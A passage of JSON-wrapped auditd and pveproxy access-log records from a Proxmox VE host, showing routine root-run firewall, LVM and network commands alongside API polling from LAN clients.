fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.803:66875): argc=1 a0=\"date\""} {"@timestamp":1781966330769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965415453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.453:65520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115346,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.346:59654): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965485568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.568:65811): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.799:66873): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966329734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.445:65519): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115341,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.341:59653): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965485559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.559:65810): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735791,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.791:66872): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966328714,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965415442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.442:65518): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59eacd4bc740 items=0 ppid=1156 pid=62933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964115335,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.335:59652): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965485555,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.555:65809): arch=c000003e syscall=59 success=yes exit=0 a0=5ea40ce96e90 a1=5ea40ce93c10 a2=5ea40ce75680 a3=5 items=2 ppid=63204 pid=63210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735783,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.783:66871): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966327738,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.439:65517): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12fb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.330:59651): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965485550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.550:65808): arch=c000003e syscall=59 success=yes exit=0 a0=5ea403f92ac8 a1=7ffd15149280 a2=5ea40ce75680 a3=5ea403f7624e items=2 ppid=63204 pid=63206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735777,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.777:66870): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966327738,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965415435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.435:65516): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136620 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115323,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.323:59650): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965485549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.549:65807): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd15149240 a1=5ea40ce92b00 a2=5ea40ce75680 a3=5 items=2 ppid=63204 pid=63205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735769,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.769:66869): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966327738,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.429:65515): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115316,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.316:59649): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965485539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.539:65805): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965735762,"@rawstring":"node=pve type=EXECVE msg=audit(1781965735.762:66868): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966327738,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965415423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.423:65514): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115312,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.312:59648): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965485531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.531:65804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965734402,"@rawstring":"node=pve type=EXECVE msg=audit(1781965734.402:66867): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966326715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965415418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.418:65513): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115310,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.310:59647): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965485521,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.521:65803): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965734379,"@rawstring":"node=pve type=EXECVE msg=audit(1781965734.379:66866): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966325718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.413:65512): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecd70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115308,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.308:59646): argc=1 a0=\"date\""} {"@timestamp":1781965485515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.515:65802): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adab00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965734114,"@rawstring":"node=pve type=EXECVE msg=audit(1781965734.114:66865): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966325718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965415405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.405:65511): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115303,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.303:59644): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965485503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.503:65801): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb641de60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965734109,"@rawstring":"node=pve type=EXECVE msg=audit(1781965734.109:66862): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966323795,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965415398,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.398:65510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115297,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.297:59643): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965485489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965485.489:65800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965729101,"@rawstring":"node=pve type=EXECVE msg=audit(1781965729.101:66859): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966323795,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.395:65509): arch=c000003e syscall=59 success=yes exit=0 a0=5e8c5a9ebd70 a1=5e8c5a9f7f80 a2=5e8c5a9c5680 a3=5 items=2 ppid=62919 pid=62925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115289,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.289:59642): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965484922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965484.922:65799): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6ba0 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965729092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965729.092:66856): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966323795,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965415391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.391:65508): arch=c000003e syscall=59 success=yes exit=0 a0=5e8c40257ac8 a1=7ffdd0a28b10 a2=5e8c5a9c5680 a3=5e8c4023b24e items=2 ppid=62919 pid=62921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115283,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.283:59641): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965484894,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965484.894:65798): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05b0 a1=64f8d73bbce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725749,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.749:66853): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966323795,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.389:65507): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdd0a28ad0 a1=5e8c5a9e7410 a2=5e8c5a9c5680 a3=5 items=2 ppid=62919 pid=62920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115278,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.278:59640): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965483169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.169:65797): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725745,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.745:66852): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966322585,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.385:65505): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115271,"@rawstring":"node=pve type=EXECVE msg=audit(1781964115.271:59639): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965483.157:65794): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725745,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.745:66851): argc=1 a0=\"date\""} {"@timestamp":1781966322585,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965415378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.378:65504): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964114109,"@rawstring":"node=pve type=EXECVE msg=audit(1781964114.109:59638): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965480489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965480.489:65791): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242570 a1=637ee7242dc0 a2=637ee7240ef0 a3=8 items=2 ppid=63189 pid=63191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725739,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.739:66849): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966321587,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.370:65503): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964114073,"@rawstring":"node=pve type=EXECVE msg=audit(1781964114.073:59637): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965480487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965480.487:65790): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242cb0 a1=637ee7254b40 a2=637ee7240ef0 a3=8 items=2 ppid=63189 pid=63190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.729:66848): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966321587,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965415364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.364:65502): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b51ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964112973,"@rawstring":"node=pve type=EXECVE msg=audit(1781964112.973:59636): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965480485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965480.485:65789): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242610 a1=637ee72525c0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=63188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725721,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.721:66847): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966319761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965415356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.356:65501): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964112961,"@rawstring":"node=pve type=EXECVE msg=audit(1781964112.961:59633): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.146:65788): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined 